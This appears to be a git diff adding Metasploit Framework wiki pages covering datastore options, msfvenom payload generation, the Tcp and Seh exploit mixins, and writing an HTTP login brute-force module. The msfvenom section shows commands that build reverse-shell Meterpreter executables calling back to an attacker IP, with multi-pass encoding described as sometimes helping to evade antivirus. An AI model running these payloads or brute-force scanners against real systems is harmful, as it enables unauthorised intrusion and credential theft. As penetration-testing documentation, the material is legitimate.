ones that never require the user to configure before using the module. For example, the Proxies option is almost always considered as "advanced". But of course, it can also mean that's something that most user will find difficult to configure. + +An example of register an advanced option: + +```ruby +register_advanced_options( + [ + OptInt.new('Timeout', [ true, 'Set a timeout, in seconds', 60 ]) + ]) +``` + +## The deregister_options method + +The `deregister_options` method can deregister either basic or advanced options. Usage is really straight-forward: + +```ruby +deregister_options('OPTION1', 'OPTION2', 'OPTION3') +``` + +# Changing the default value for a datastore option + +When a datastore option is already registered by a mixin, there are still ways to change the default value from the +module. You can either use the `register_options` method, or adding a DefaultOptions key in the module's metadata. Using +the DefaultOptions key is preferred because the option's description and other attributes will remain unchanged. + +## Using register_options to change the default value + +One of the advantages of using `register_options` is that if the datastore option is advanced, this allows it to be on +the basic option menu, meaning when people do "show options" on msfconsole, that option will be there instead. You also +get to change the option description, and whether it should be required or not with this method. + +## Using DefaultOptions to change the default value + +When Metasploit initializes a module, an `import_defaults` method is [called](https://github.com/rapid7/metasploit- +framework/blob/master/lib/msf/core/module.rb#L581). This method will update all existing datastore options (which is why +`register_options` can be used to update default values), and then it will specifically check the DefaultOptions key +from the module's metadata, and update again. + +Here's an example of an exploit module's initialize portion with the DefaultOptions key: + +```ruby +def initialize(info={}) + super(update_info(info, + 'Name' => "Module name", + 'Description' => %q{ + This is an example of setting the default value of RPORT using the DefaultOptions key + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Name' ], + 'References' => + [ + [ 'URL', '' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows', { 'Ret' => 0x41414141 } ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'RPORT' => 8080 + }, + 'Privileged' => false, + 'DisclosureDate' => "", + 'DefaultTarget' => 0)) +end +``` + +# Modifying datastore options at run-time + +Currently, the safest way to modify a datastore option at run-time is to override a method. For example, some mixins retrieve the RPORT option like this: + +```ruby +def rport + datastore['RPORT'] +end +``` + +In that scenario, you can override this rport method from your module, and return a different value: + +```ruby +def rport + 80 +end +``` + +This way, when a mixin wants that information, it will end up with the value 80, and not whatever is actually in `datastore['RPORT']`. + +# Ideal datastore naming + +Normal options are always UPPERCASE, advanced options are CamelCase, advanced options with a similar purpose are +Prefixed::CamelCase. + +## Renaming datastore options + +Options can be renamed and retain backward compatibility by using the `alias:` keyword argument in the new option. For +example, to rename `OldOption` to `NewOption`, the new definitions would look something like: + +```ruby +OptString.new('NewOption', [true, 'A (sort of) new option', 'hello'], aliases: %w[ OldOption ]) +``` + +# Filtering datastore options + +Options can be hidden in certain conditions using the `conditions:` keyword argument to their definition. This allows +options to be hidden when they are not relevant based on the value of another option, the selected target or the +selected action. + +The syntax for a condition is `*thing* *operator* *value*`. + +* **thing** - One of `ACTION`, `TARGET` or the name of a datastore option. +* **operator** - One of `==`, `!=`, `in`, `nin`. In the case of `in` and `nin` (not-in), the *value* is an array of values. +* **value** - The value to check for in the condition. + +When the condition evaluates to true, the option is considered active and displayed to the user. Datastore options with +no defined conditions are active by default. + +## Filter examples + +1. `conditions: %w[VERSION == 5]` - Active when the `VERSION` datastore option is 5. +1. `conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]` - Active when the `ACTION` is one of `SSRF`, `EXEC` or + `SECSTORE` diff --git a/metasploit-framework.wiki/How-to-use-msfvenom.md b/metasploit-framework.wiki/How-to-use-msfvenom.md new file mode 100644 index 000000000000..fa6e611455e2 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-msfvenom.md @@ -0,0 +1,121 @@ +Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015. + +To start using msfvenom, first please take a look at the options it supports: + +``` +Options: + -p, --payload Payload to use. Specify a '-' or stdin to use custom payloads + --payload-options List the payload's standard options + -l, --list [type] List a module type. Options are: payloads, encoders, nops, all + -n, --nopsled Prepend a nopsled of [length] size on to the payload + -f, --format Output format (use --help-formats for a list) + --help-formats List available formats + -e, --encoder The encoder to use + -a, --arch The architecture to use + --platform The platform of the payload + --help-platforms List available platforms + -s, --space The maximum size of the resulting payload + --encoder-space The maximum size of the encoded payload (defaults to the -s value) + -b, --bad-chars The list of characters to avoid example: '\x00\xff' + -i, --iterations The number of times to encode the payload + -c, --add-code Specify an additional win32 shellcode file to include + -x, --template Specify a custom executable file to use as a template + -k, --keep Preserve the template behavior and inject the payload as a new thread + -o, --out Save the payload + -v, --var-name Specify a custom variable name to use for certain output formats + --smallest Generate the smallest possible payload + -h, --help Show this message +``` + +# How to generate a payload + +To generate a payload, there are two flags that you must supply (-p and -f): + +* **The -p flag: Specifies what payload to generate** + +To see what payloads are available from Framework, you can do: + +``` +./msfvenom -l payloads +``` + +The -p flag also supports "-" as a way to accept a custom payload: + +``` +cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw +``` + +* **The -f flag: Specifies the format of the payload** + +Syntax example: + +``` +./msfvenom -p windows/meterpreter/bind_tcp -f exe +``` + +To see what formats are supported, you can do the following to find out: + +``` +./msfvenom --help-formats +``` + +Typically, this is probably how you will use msfvenom: + +``` +$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe +``` + + +# How to encode a payload + +By default, the encoding feature will automatically kick in when you use the -b flag (the badchar flag). In other cases, you must use the -e flag like the following: + +``` +./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw +``` + +To find out what encoders you can use, you can use the -l flag: + +``` +./msfvenom -l encoders +``` + +You can also encode the payload multiple times using the -i flag. Sometimes more iterations may help avoiding antivirus, but know that encoding isn't really meant to be used a real AV evasion solution: + +``` +./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 +``` + +# How to avoid bad characters + +The -b flag is meant to be used to avoid certain characters in the payload. When this option is used, msfvenom will automatically find a suitable encoder to encode the payload: + +``` +./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw +``` + +# How to supply a custom template + +By default, msfvenom uses templates from the msf/data/templates directory. If you'd like to choose your own, you can use the -x flag like the following: + +``` +./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe +``` + +Please note: If you'd like to create a x64 payload with a custom x64 custom template for Windows, then instead of the exe format, you should use exe-only: + +``` +./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe +``` + +The -x flag is often paired with the -k flag, which allows you to run your payload as a new thread from the template. However, this currently is only reliable for older Windows machines such as x86 Windows XP. + +# How to chain msfvenom output + +The old ``msfpayload`` and ``msfencode`` utilities were often chained together in order layer on multiple encodings. This is possible using ``msfvenom`` as well: + +``` +./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \ +./msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \ +./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe +``` diff --git a/metasploit-framework.wiki/How-to-use-the-Favorite-command.md b/metasploit-framework.wiki/How-to-use-the-Favorite-command.md new file mode 100644 index 000000000000..a8c7255abfa1 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-the-Favorite-command.md @@ -0,0 +1,91 @@ +# Using the Favorite Command + +`favorite` is an `msfconsole` command that allows users to easily keep track of their most-used modules. The favorites list is stored in the `.msf4/fav_modules` file. + +### Adding modules to the favorites list + +There are two methods of adding a module to the favorites list. The first way is via simply calling `favorite` when there is an active module: + +```shell +msf6 exploit(multi/handler) > favorite +[+] Added exploit/multi/handler to the favorite modules file +``` + + +Using the active module without an active module will print the `favorite` command help output: + +```shell +msf6 > favorite +[-] No module has been provided to favorite. +Usage: favorite [mod1 mod2 ...] + +Add one or multiple modules to the list of favorite modules stored in /home/msf/.msf4/fav_modules +If no module name is specified, the command will add the active module if there is one + +OPTIONS: + + -c Clear the contents of the favorite modules file + -d Delete module(s) or the current active module from the favorite modules file + -h Help banner +``` + + + +The second method of adding favorites allows adding multiple modules at once: + +```shell +msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec +[+] Added exploit/multi/handler to the favorite modules file +[+] Added exploit/windows/smb/psexec to the favorite modules file +msf6 > show favorites + +Favorites +========= + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/multi/handler manual No Generic Payload Handler + 1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution + + +``` + + +### Deleting modules from the favorites list + +Modules can be deleted from the favorites list individually or by clearing the contents of the list. For the former, simply use the `-d` flag and either supply the module name or use the currently active module if that module is in the favorites list. For the latter, supply the `-c` flag. + +#### Deleting an active module from favorites list + +```shell +msf6 exploit(multi/handler) > favorite -d +[*] Removing exploit/multi/handler from the favorite modules file +``` + +#### Specifying module(s) to delete + +```shell +msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec +[*] Removing exploit/multi/handler from the favorite modules file +[*] Removing exploit/windows/smb/psexec from the favorite modules file +``` + +#### Clearing the favorites list + +```shell +msf6 > show favorites + +Favorites +========= + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/multi/handler manual No Generic Payload Handler + 1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution + +msf6 > favorite -c +[+] Favorite modules file cleared +msf6 > show favorites +[!] The favorite modules file is empty +``` + diff --git a/metasploit-framework.wiki/How-to-use-the-Msf-Exploit-Remote-Tcp-mixin.md b/metasploit-framework.wiki/How-to-use-the-Msf-Exploit-Remote-Tcp-mixin.md new file mode 100644 index 000000000000..895504a42a7f --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-the-Msf-Exploit-Remote-Tcp-mixin.md @@ -0,0 +1,129 @@ +# How to use the Msf::Exploit::Remote::Tcp mixin +In Metasploit Framework, TCP sockets are implemented as Rex::Socket::Tcp, which extends the built-in Ruby Socket base class. You should always use the Rex socket instead of the native Ruby one because if not, your sockets are not manageable by the framework itself, and of course some features will be missing such as pivoting. The [Developer's Guide](https://github.com/rapid7/metasploit-framework/blob/master/documentation/developers_guide.pdf) in Metasploit's documentation directory explains how this works pretty well. + +For module development, normally you wouldn't be using Rex directly, so instead you'd be using the Msf::Exploit::Remote::Tcp mixin. The mixin already provides some useful features you don't really have to worry about during development, such as TCP evasions, proxies, SSL, etc. All you have to do is make that connection, send something, receive something, and you're done. + +Sounds pretty easy, right? + +## Using the mixin + +To use the mixin, simply add the following statement within your module's ```class Metasploit3``` (or ```class Metasploit4```) scope: + +```ruby +include Msf::Exploit::Remote::Tcp +``` + +When the mixin is included, notice there will be the following datastore options registered under your module: + +* **SSL** - Negotiate SSL for outgoing connections. +* **SSLVersion** - The SSL version used: SSL2, SSL3, TLS1. Default is TLS1. +* **SSLVerifyMode** - Verification mode: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER. Default is PEER. +* **Proxies** - Allows your module to support proxies. +* **ConnectTimeout** - Default is 10 seconds. +* **TCP::max_send_size** - Evasive option. Maxiumum TCP segment size. +* **TCP::send_delay** - Evasive option. Delays inserted before every send. + +If you wish to learn how to change the default value of a datastore option, please read "[Changing the default value for a datastore option](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options#changing-the-default-value-for-a-datastore-option)" + +## Make a connection + +To make a connection, simply do the following: + +```ruby +connect +``` + +When you do this, what happens is that the ```connect``` method will call ```Rex::Socket::Tcp.create``` to create the socket, and register it to framework. It automatically checks with the RHOST/RPORT datastore options (so it knows where to connect to), but you can also manually change this: + +```ruby +# This connects to metasploit.com +connect(true, {'RHOST'=>'208.118.237.137', 'RPORT'=>80}) +``` + +The ```connect``` method will then return the Socket object, which is also accessible globally. + +But you see, there's a little more to it. The ```connect``` method can also raise some Rex exceptions that you might want to catch, including: + +* **Rex::AddressInUse** - Possible when it actually binds to the same IP/port. +* **::Errno::ETIMEDOUT** - When Timeout.timeout() waits to long to connect. +* **Rex::HostUnreachable** - Pretty self-explanatory. +* **Rex::ConnectionTimeout** - Pretty self-explanatory. +* **Rex::ConnectionRefused** - Pretty self-explanatory. + +So to sum it up, ideally when you use the ```connect``` method, you should rescue these: + +```ruby +rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused +``` + +If you are curious where all these exceptions are raised, you can find them in [rex/socket/comm/local.rb](https://github.com/rapid7/rex-socket/blob/45b41ef8735aa19ef2c65b6d19eccaf56eaf1e5a/lib/rex/socket/comm/local.rb). + +## Sending data + +There are several ways to send data with the Tcp mixin. To make things easier and safer, we recommend just use the ```put``` method: + +```ruby +sock.put "Hello, World!" +``` + +The reason the ```put``` method is safer is because it does not allow the routine to hang forever. By default, it doesn't wait, but if you want to make this more flexible, you can do this: + +```ruby +begin + sock.put("data", {'Timeout'=>5}) +rescue ::Timeout::Error + # You can decide what to do if the writing times out +end +``` + +## Receiving data + +Now, let's talk about how to receive data. Mainly there are three methods you can use: `get_once`, `get`, and `timed_read`. The difference is that `get_once` will only try to poll the stream to see if there's any read data available **one time**, but the ```get``` method will keep reading until there is no more. As for ```timed_read```, it's basically the ```read``` method wrapped around with a Timeout. + +The following demonstrates how `get_once` is used: + +```ruby +begin + buf = sock.get_once +rescue ::EOFError +end +``` + +Note that ```get_once``` may also return nil if there is no data read, or it hits a EOFError if it receives nil as data. So please make sure you're catching nil in your module. + +The data reading methods can be found in [lib/rex/io/stream.rb](https://github.com/rapid7/rex-core/blob/2ee010fb196116f96419c42ab2b2f0c1dd62c63a/lib/rex/io/stream.rb). + +## Disconnecting + +To disconnect the connection, simply do: + +```ruby +disconnect +``` + +It is VERY important you disconnect in an ```ensure``` block, obviously to make sure you always disconnect if something goes wrong. If you don't do this, you may end up with a module that can only one request to the server (that very first one), and the rest are broken. + +## Full example + +The following example should demonstrate how you would typically want to use the Tcp mixin: + +```ruby +# Sends data to the remote machine +# +# @param data [String] The data to send +# @return [String] The received data +def send_recv_once(data) + buf = '' + begin + connect + sock.put(data) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + + buf +end +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md b/metasploit-framework.wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md new file mode 100644 index 000000000000..ce40fc015f93 --- /dev/null +++ b/metasploit-framework.wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md @@ -0,0 +1,68 @@ +Exception handler overwriting was once a very popular technique to exploit stack buffer overflows, but isn't so common anymore in newer programs because most likely they're compiled with SafeSEH. At one point, even with SafeSEH enabled, it was still possible to abuse an exception handler by heap spraying, but of course, memory protections didn't stop there. DEP/FASLR eventually came to the rescue, so that pretty much ended the glory days of SEH exploits. You can probably still find vulnerable applications not compiled with SafeSEH, but chances are the app is outdated, no longer maintained, or it is more of a learning experiment for the developer. Oh, and there's probably an exploit for that already. Nonetheless, exploiting a stack buffer overflow with exception handling is still fun, so if you do come across it, here's how it's supposed to be written with Metasploit's ```Seh``` mixin. + +### Requirements + +To be able to use the SEH mixin, some exploitable requirements must be met: + +* The vulnerable program does not have SafeSEH in place. +* No DEP (Data Execution Prevention). The mixin uses a short jump to be able to execute the payload, which means the memory must be executable. DEP, as the name implies, prevents that. + +### Usage + +First, make sure you include the ```Seh``` mixin under the scope of your module's ```Metasploit3``` class: + +```ruby +include Msf::Exploit::Seh +``` + +Next, you need to set up a ```Ret``` address for the SE handler. This address should be placed in your module's metadata, specifically under ```Targets```. In Metasploit, each target is actually an array of two elements. The first element is just the name of the target (and there is currently no strict naming style), the second element is actually a hash that contains information specific to that target, such as the target address. Here's an example of setting up a ```Ret``` address: + +```ruby +'Targets' => + [ + [ 'Windows XP', {'Ret' => 0x75022ac4 } ] # p/p/r in ws2help.dll + ] +``` + +As you can see, it's also a good habit to document what the ```Ret``` address does, and which DLL it points to. + +```Ret``` is actually kind of a special key, because it can be retrieved by using ```target.ret``` in the module. In our next examples, you will see ```target.ret``` being used instead of coding the target address raw. + +If you need a tool to find a POP/POP/RET for the ```Ret``` address, you can use Metasploit's ```msfbinscan``` utility, which is located under the tools directory. + +OK now, let's move on to the methods. There are two methods provided by the ```Seh``` mixin: + +* ```generate_seh_payload``` - Generates a fake SEH record with the payload attached right after. Here's an example: + +```ruby +buffer = '' +buffer << "A" * 1024 # 1024 bytes of padding +buffer << generate_seh_payload(target.ret) # SE record overwritten after 1024 bytes +``` + +The actual layout of ```buffer``` should look like this in memory: + +``` +[ 1024 bytes of 'A' ][ A short jump ][ target.ret ][ Payload ] +``` + +* ```generate_seh_record``` - Generates a fake SEH record without the payload, in case you prefer to place the payload somewhere else. Code example: + +```ruby +buffer = '' +buffer << "A" * 1024 # 1024 bytes of padding +buffer << generate_seh_payload(target.ret) +buffer << "B" * 1024 # More padding +``` + +The memory layout should like this: + +``` +[ 1024 bytes of 'A' ][ A short jump ][ target.ret ][ Padding ] +``` + +### References + +- +- +- diff --git a/metasploit-framework.wiki/How-to-write-a-HTTP-LoginScanner-Module.md b/metasploit-framework.wiki/How-to-write-a-HTTP-LoginScanner-Module.md new file mode 100644 index 000000000000..4b0db3d07de3 --- /dev/null +++ b/metasploit-framework.wiki/How-to-write-a-HTTP-LoginScanner-Module.md @@ -0,0 +1,403 @@ +This is a step-by-step guide on how to write a HTTP login module using the latest LoginScanner and Credential APIs. + +Before we begin, it's probably a good idea to read [Creating Metasploit Framework LoginScanners](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners), which explains about the APIs in-depth. The LoginScanner API can be found in the [lib/metasploit/framework/loginscanner](https://github.com/rapid7/metasploit-framework/tree/master/lib/metasploit/framework/login_scanner) directory, and the Credential API can found as a [metasploit-credential gem here](https://github.com/rapid7/metasploit-credential). You will most likely want to read them while writing the login module. + +## Step 1: Set up your target environment + +For our demonstration, we will be using [Symantec Web Gateway](https://www.broadcom.com/products/cyber-security/web-and-email/gateway/). A trial is available at the vendor's website. Obviously downloading/installing it would be your first step. + +## Step 2: Set up a client + +The purpose of setting up a client is to sample the login request and response. Normally you can do this with: + +* **A web browser plus a sniffer** + + 1. For the sniffer, you can download [Wireshark](https://www.wireshark.org/download.html), and have it running. + 2. Use a web browser to login. + 3. Go back to Wireshark and save the HTTP request, this is exactly what you will send in the login module. You will also need to save the HTTP response so that you can check for a successful and a failed login. + +* **A browser with Burp** + + [Burp](http://portswigger.net/burp/download.html) is a tool for performing security testing of web applications. You can download the free version from the vendor's website. In some cases, Burp is way better than a sniffer because you can modify HTTP requests, it's also a very convenient way to capture HTTPS traffic. + + Here's what you do. + + 1. Start Burp. + 2. Configure your web browser's proxy so Burp can forward traffic. + 3. Use the web browser to login. + 4. Go back to Burp, you can find the history of all the requests and responses. + +For our example, this is the request the browser sends to Symantec Web Gateway: + +``` +POST /spywall/login.php HTTP/1.1 +Host: 192.168.1.176 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:27.0) Gecko/20100101 Firefox/27.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: https://192.168.1.176/spywall/login.php +Cookie: PHPSESSID=otgam4mgjrl00h2esk3o2npt05 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 54 + +USERNAME=gooduser&PASSWORD=GoodPassword&loginBtn=Login +``` + +And this is the response Symantec Web Gateway returns for a successful login: + +``` +HTTP/1.1 302 Found +Date: Tue, 12 May 2015 19:32:31 GMT +Server: Apache +X-Frame-Options: SAMEORIGIN +Expires: Thu, 19 Nov 1981 08:52:00 GMT +Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 +Pragma: no-cache +Set-Cookie: PHPSESSID=vmb56vhd7740oqcmth8cqtagq5; path=/; secure; HttpOnly +Location: https://192.168.1.176/spywall/executive_summary.php +Content-Length: 0 +Keep-Alive: timeout=15, max=5000 +Connection: Keep-Alive +Content-Type: text/html; charset=UTF-8 +``` + +A failed login response is an HTTP 200 with the following message in the body: + +``` +We're sorry, but the username or password you have entered is incorrect. Please retype your username and password. The username and password are case sensitive. +``` + +## Step 3: Start with a LoginScanner template + +Your login module mainly consists of three components: the LoginScanner portion, the auxiliary portion, and rpsec. The actual HTTP requests and responses are handled in the LoginScanner portion, so we'll start from there. + +Your most basic HTTP LoginScanner template will look like this: + +```ruby +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + class SymantecWebGateway < HTTP + + + # Attemps to login to the server. + # + # @param [Metasploit::Framework::Credential] credential The credential information. + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + + end + + end + end + end +end +``` + +Save it under lib/metasploit/framework/login_scanner/. + +**The #attempt_login method** + +The #attempt_login is called automatically. You can write your entire login code there, but it's better to break in down into multiple methods so that the code is cleaner, and easier to document and rspec. Typically, all you want #attempt_login to do is focusing on crafting the Result object, pass it to a custom #login routine, and then return the Result object. It almost always looks something like this: + +```ruby +def attempt_login(credential) + # Default Result + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + # Merge login result + # credential.public is the username + # credential.private is the password + result_opts.merge!(do_login(credential.public, credential.private)) + + # Return the Result object + Result.new(result_opts) +end +``` + +Notice that: + +* By default, our proof is nil. +* The status is Metasploit::Model::Login::Status::INCORRECT. +* We're calling #do_login, which is our custom login method. +* The #do_login method will have to update status and proof before we return the Result object. + +**The custom login method** + +Ok, now let's talk about building this #do_login method. This is where we send the same HTTP request we sampled earlier. + +If you're already familiar with writing a Metasploit module that sends an HTTP request, the first thing that comes to mind is probably using the [[HttpClient|How to Send an HTTP Request Using HttpClient]]. Well, you can't do that at all over here, so we have to fall back to [[Rex::Proto::Http::Client|How to send an HTTP request using Rex Proto Http Client]]. Fortunately for you, we made all this a little bit easier by creating another request called #send_request, here's an example of how to use that: + + +```ruby +send_request({'uri'=>'/'}) +``` + +You will rely on this method a lot to accomplish most of what you need to do here. + +Ok, now, let's move on and talk about how to use #send_request to send a login request. Remember in the login request, there is actually a PHPSESSID cookie, you should obtain this first. Usually the web application will give you the session cookie when you request the login page for the very first time, and this happens a lot. + +Here's an example of how to grab PHPSESSID: + +```ruby +def get_session_id + login_uri = normalize_uri("#{uri}/spywall/login.php") + res = send_request({'uri' => login_uri}) + sid = res.get_cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + return sid +end +``` + +Now that you have a session ID, you can finally make the login request. Remember in the sample, we have to submit the username, password, loginBtn as a POST request. So let's do that with #send_request: + +```ruby +protocol = ssl ? 'https' : 'http' +peer = "#{host}:#{port}" +login_uri = normalize_uri("#{uri}/spywall/login.php") + +res = send_request({ + 'uri' => login_uri, + 'method' => 'POST', + 'cookie' => get_session_id, + 'headers' => { 'Referer' => "#{protocol}://#{peer}/#{login_uri}" }, + 'vars_post' => { + 'USERNAME' => username, + 'PASSWORD' => password, + 'loginBtn' => 'Login' # Found in the HTML form + } +}) +``` + +Now that the request is sent, we need to check the response (the res variable). Typically, you have a few choices to determine a successful login: + +* **Check the HTTP response code**. In this case, we have a 302 (redirect), but know that sometimes the response code can lie so this should not be your first choice. +* **Check the HTML**. With some web applications, you might get a "successful login" message, and you can regex that. This is most likely the most accurate way. +* **Check the location header**. In our case, Symantec returns a 302 and contains no body. But it redirects us to a spywall/executive_summary.php page in the location header, so we can use that. We can also try to access executive_summary.php with a renewed session ID, and make sure we can actually see the admin interface, but requesting an extra page adds more penalty to performance, so this is up to you. + +In the end, your custom login method will probably look something like this: + +```ruby +def do_login(username, password) + protocol = ssl ? 'https' : 'http' + peer = "#{host}:#{port}" + login_uri = normalize_uri("#{uri}/spywall/login.php") + + res = send_request({ + 'uri' => login_uri, + 'method' => 'POST', + 'cookie' => get_session_id, + 'headers' => { + 'Referer' => "#{protocol}://#{peer}/#{login_uri}" + }, + 'vars_post' => { + 'USERNAME' => username, + 'PASSWORD' => password, + 'loginBtn' => 'Login' # Found in the HTML form + } + }) + + if res && res.headers['Location'].include?('executive_summary.php') + return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s} + end + + {:proof => res.to_s} +end +``` + +The [exact statuses](https://github.com/rapid7/metasploit-model/blob/d4c4f444c79937698dc703f89c0a4c576cde628c/lib/metasploit/model/login/status.rb) you can return are: + +| Constant | Purpose | +| ------------- | --------- | +| Metasploit::Model::Login::Status::DENIED_ACCESS | Access is denied | +| Metasploit::Model::Login::Status::DISABLED | Account is disabled | +| Metasploit::Model::Login::Status::INCORRECT | Credential is incorrect | +| Metasploit::Model::Login::Status::LOCKED_OUT | Account has been locked out | +| Metasploit::Model::Login::Status::NO_AUTH_REQUIRED | No authentication | +| Metasploit::Model::Login::Status::SUCCESSFUL | Successful login | +| Metasploit::Model::Login::Status::UNABLE_TO_CONNECT | Unable to connect to the service | +| Metasploit::Model::Login::Status::UNTRIED | Credential has not been tried | +| Metasploit::Model::Login::Status::ALL | All the above (An array) | + +When you're done, your code will look something like this: + + + +## Step 4: Write the auxiliary module + +The auxiliary module acts more like an user-interface. You describe what the module does, handles options, initializes objects, and do reporting. + +A basic auxiliary module template in our case would be something like this: + +```ruby +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/symantec_web_gateway' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Symantec Web Gateway Login Utility', + 'Description' => %q{ + This module will attempt to authenticate to a Symantec Web Gateway. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'RPORT' => 443, + 'SSL' => true, + 'SSLVersion' => 'TLS1' + } + )) + end + + def run_host(ip) + end + +end +``` + +Save it under modules/auxiliary/scanner/http/. + +Our main method is #run_host, so we'll begin there. But before we do, we must initialize your LoginScanner object. The following is an example of how you will probably write it. + +```ruby +def scanner(ip) + @scanner ||= lambda { + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + return Metasploit::Framework::LoginScanner::SymantecWebGateway.new( + configure_http_login_scanner( + host: ip, + port: datastore['RPORT'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + )) + }.call +end +``` + + +Notice that this scanner method can be called multiple times, but the use of [lambda](http://rubymonk.com/learning/books/1-ruby-primer/chapters/34-lambdas-and-blocks-in-ruby/lessons/77-lambdas-in-ruby) will allow the LoginScanner object to initialize only once. After that first time, every time the method is called, it will just return @scanner instead of going through the whole initialization process again. + +In some cases you might need to pass more datastore options, maybe not. For example, if you want to allow the URI to be configurable (which is also already an accessor in [Metasploit::Framework::LoginScanner::HTTP](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/login_scanner/http.rb#L26)), then you have to create and pass datastore['URI'] to configure_http_login_scanner too, like so: + +```ruby +uri: datastore['URI'] +``` + +And then in your LoginScanner, pass ```uri``` to #send_request: + +```ruby +send_request({'uri'=>uri}) +``` + +At this point, the scanner method holds our Metasploit::Framework::LoginScanner::SymantecWebGateway object. If we call the #scan! method, it will trigger the #attempt_login method we wrote earlier, and then yield the Result object. Basically like this: + +```ruby +scanner(ip).scan! do |result| + # result = Our Result object +end +``` + +With the Result object, we can start reporting. In most cases, you will probably be using #create_credential_login to report a successful login. And use #invalidate_login to report a bad one. + +**Reporting a valid credential** + +The credential API knows a lot about a credential, such as when it was used, how it was used, serviced tried, target IP, port, etc, etc. So when we report, that's how much information we are storing for every credential. To make credential reporting easy to use, all you need to do is call the #store_valid_credential method like this: + +```ruby +store_valid_credential( + user: result.credential.public, + private: result.credential.private, + private_type: :password, # This is optional + proof: nil, # This is optional +) +``` + +**Report an invalid credential** + +Here's another example you can use: + +```ruby +# Reports a bad credential. +# +# @param [String] ip Target host +# @param [Fixnum] port Target port +# @param [Result] The Result object +# @return [void] +def report_bad_cred(ip, rport, result) + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status, + proof: result.proof + ) +end +``` + +At this point, you're pretty much done with the auxiliary module. It will probably look something like this: + + +## Test + +And finally, make sure your module actually works. + +Test for a successful login: + +``` +msf auxiliary(symantec_web_gateway_login) > run + +[+] 192.168.1.176:443 SYMANTEC_WEB_GATEWAY - Success: 'sinn3r:GoodPassword' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(symantec_web_gateway_login) > +``` + +Test for a failed login: + +``` +msf auxiliary(symantec_web_gateway_login) > run + +[-] 192.168.1.176:443 SYMANTEC_WEB_GATEWAY - Failed: 'sinn3r:BadPass' +[*] 